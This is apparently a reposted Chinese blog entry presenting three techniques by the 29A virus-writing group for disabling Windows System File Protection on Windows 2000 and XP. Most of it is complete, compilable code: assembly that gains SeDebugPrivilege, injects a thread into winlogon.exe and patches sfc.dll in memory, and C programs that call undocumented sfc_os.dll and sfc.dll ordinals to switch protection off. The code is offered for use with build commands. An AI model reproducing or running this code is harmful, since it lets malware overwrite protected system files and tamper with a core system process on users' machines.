因为不是全文转发,所以中间有些删节,修改和添加了一些内容
SFP (The System File Protection)
Is it boring ? How to get rid of it ?
Here are 3 ways,Enjoy~~
1 For win2k only
by Benny/29A and Ratter/29A
main idea:
1) Adjust higher priviledgez to our process, by legit API way.
2) Find Winlogon.exe in memory.
3) Alocate memory there, copy there a small "path" code and run it there.
4) Quit.
In the winlogon.exe will be created new thread which will:
1) Find the code written above.
2) Patch the code by ExitThread(0) call. If the page is protected,
unprotect it then.
3) Quit.
demo to compile:
tasm32 /ml /m9 /q sfp
tlink32 -Tpe -c -x -aa sfp,,,import32,sfp
pewrsec sfp.exe
[code start here]
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
@pushvar macro variable, empty ;macro for pushing
local next_instr ;variablez of any type
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
invoke macro api ;macro for API callz
extrn api:PROC ;declare API
call api ;call it...
endm
@SEH_SetupFrame_UnProtect macro
local set_new_eh
local exception_handler
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
@pushvar <dd ?>
mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
mov eax,12345678h
virtual_protect_api = dword ptr $-4
call eax ;unprotect 2 pagez
exception_handler:
popad
xor eax,eax
ret
set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
endm
.data ;some variablez
token_priv dd 1
p_luid dq ?
dd 2
procz dd 80h dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
.code ;worm code starts
Start: pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
extrn GetModuleHandleA:PROC
mov eax,dword ptr [GetModuleHandleA+2]
mov eax,[eax]
mov [gmha],eax ;store address of API
extrn VirtualProtect:PROC
mov eax,dword ptr [VirtualProtect+2]
mov eax,[eax]
mov [virtual_protect_api],eax ;--- "" ---
extrn ExitThread:PROC
mov eax,dword ptr [ExitThread+2]
mov eax,[eax]
mov [exitthread_api],eax ;--- "" ---
invoke GetCurrentProcess
push offset p_token
push 20h
push eax
invoke OpenProcessToken ;open token of our process
dec eax
jne err_ap
push offset p_luid
@pushsz 'SeDebugPrivilege'
push eax
invoke LookupPrivilegeValueA ;find LUID for this priv.
dec eax
jne err_ap
push eax
push eax
push 10h
push offset token_priv
push eax
push [p_token]
invoke AdjustTokenPrivileges ;adjust higher priviledges
;for our process
mov esi,offset procz
push offset tmp
push 80h
push esi
invoke EnumProcesses ;enumerate all running processes
dec eax
jne end_seh
add esi,4
p_search:
lodsd ;get PID
test eax,eax
je end_seh
call analyse_process
jc p_search
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad
push 0
invoke ExitProcess ;and quit
analyse_process Proc
pushad
push eax
push 0
push 43Ah
invoke OpenProcess ;PID -> handle
test eax,eax
je err_ap
mov [hProcess],eax
push eax
push eax
mov esi,offset modz
push offset tmp
push 4
push esi
push eax
invoke EnumProcessModules ;get first (main) module
pop ecx
dec eax
jne err_ap1
lodsd
mov edi,offset mod_name
push MAX_PATH
push edi
push eax
push ecx
invoke GetModuleBaseNameA ;get its name
xchg eax,ecx
jecxz err_ap1
@pushsz 'winlogon.exe'
pop esi
rep cmpsb
jne err_ap1 ;quit if its not winlogon
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push end_rroutine-start_rroutine
push 0
push 12345678h
hProcess = dword ptr $-4
invoke VirtualAllocEx ;aloc there a memory
test eax,eax
je err_ap1
xchg eax,ebx
push 0
push end_rroutine-start_rroutine
push offset start_rroutine
push ebx
push [hProcess]
invoke WriteProcessMemory ;write there our code
dec eax
jne free_mem
xor edx,edx
push edx
push edx
push edx
push ebx
push edx
push edx
push [hProcess]
invoke CreateRemoteThread ;run it
push eax
invoke CloseHandle
invoke CloseHandle
popad
clc
ret
err_ap1:invoke CloseHandle
err_ap: popad
stc
ret
free_mem:
push MEM_RELEASE
push 0
push ebx
push [hProcess]
invoke VirtualFreeEx ;free memory
jmp err_ap1
analyse_process EndP
start_rroutine Proc
pushad
@SEH_SetupFrame_UnProtect ;set SEH frame
@pushsz 'sfc.dll'
mov eax,12345678h
gmha = dword ptr $-4
call eax ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi
mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h ;code to search & patch
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh
got_addr:
call e_next
s_next: push 0 ;"patch" code
mov eax, 12345678h
exitthread_api = dword ptr $-4
call eax
e_next: pop edi
xchg esi,edi
add edi,15
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code
end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit
end_rroutine:
start_rroutine EndP
ends
End Start
2 For WinXP (maybe 2k3 ?)
//this is also a wonderful stuff from Ratter/29A
//but this time ,this one only works on xp(maybe 2k3 ?)
//it can disable SFP on file basis for one minute
//sounds coool ? enjoy ~~
#include <windows.h>
#include <assert.h>
#include <stdio.h>
typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);
void wmain(int argc, wchar_t **argv)
{
HMODULE sfc_os;
SFPEXC sfp_exc;
assert(argc==2);
assert(sfc_os=LoadLibrary("sfc_os.dll"));
assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));
assert(!sfp_exc(0, argv[1], -1));
wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
3 Both win2k & XP (maybe 2k3?)
/*****************************************************************/
// 文件名: SfcDisable.cpp
// 作者: by Ratter/29A
// 创建时间: unknown
// 版本: unknown
/*****************************************************************/
/*****************************************************************/
//Usage: sfc_disable <winlogon_pid>
//This is a demo from Ratter/29A to show disable the SFC on winlogon.exe
//of course we can modify it to any other process.
// The details is described in 29A7.004 <<SFP revisited>>
//
/****************************************************************/
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#pragma check_stack (off)
DWORD thread_func (FARPROC sfc_terminate)
{
sfc_terminate();
return 0;
}
void after_thread_func(void)
{
}
#pragma check_stack
int adjust_privileges(void)
{
HANDLE token_handle;
int ret=0;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
{
LUID luid;
if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
{
TOKEN_PRIVILEGES tk_priv;
tk_priv.PrivilegeCount=1;
tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tk_priv.Privileges[0].Luid=luid;
if(AdjustTokenPrivileges(token_handle,
FALSE,
&tk_priv,
0,
NULL,
NULL)) ret=1;
}
CloseHandle(token_handle);
}
return ret;
}
void main(int argc, char **argv)
{
HANDLE remote_thread;
if(argc!=2)
{
printf("Usage: sfc_disable <winlogon_pid>/n");
exit(0);
}
DWORD wpid=atoi(argv[1]);
assert(wpid);
HMODULE sfc=LoadLibrary("sfc.dll");
assert(sfc);
FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
assert(sfc_terminate);
assert(adjust_privileges());
HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
if(!process)
{
printf("Error while opening process/n");
exit(0);
}
LPVOID remote_mem=VirtualAllocEx(process,
NULL,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
MEM_COMMIT,
PAGE_READWRITE);
if(!remote_mem)
{
printf("Error while commiting memory in the remote process/n");
goto clean_up;
}
if(!WriteProcessMemory(process,
remote_mem,
(char *) thread_func,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
(SIZE_T *) 0))
{
printf("Error %d while writing to the remote process/n", GetLastError());
goto clean_up;
}
remote_thread=CreateRemoteThread(process,
NULL,
0,
(LPTHREAD_START_ROUTINE) remote_mem,
// (LPTHREAD_START_ROUTINE) sfc_terminate
(LPVOID) sfc_terminate,
0,
NULL);
if(!remote_thread)
{
printf("Error while creating remote thread in the process/n");
goto clean_up;
}
if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
printf("Timeout occured while waiting for the remote thread/n");
CloseHandle(remote_thread);
clean_up:
if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
CloseHandle(process);
}
http://su.pdxx.com/linkboy/blogview.asp?logID=122&cateID=1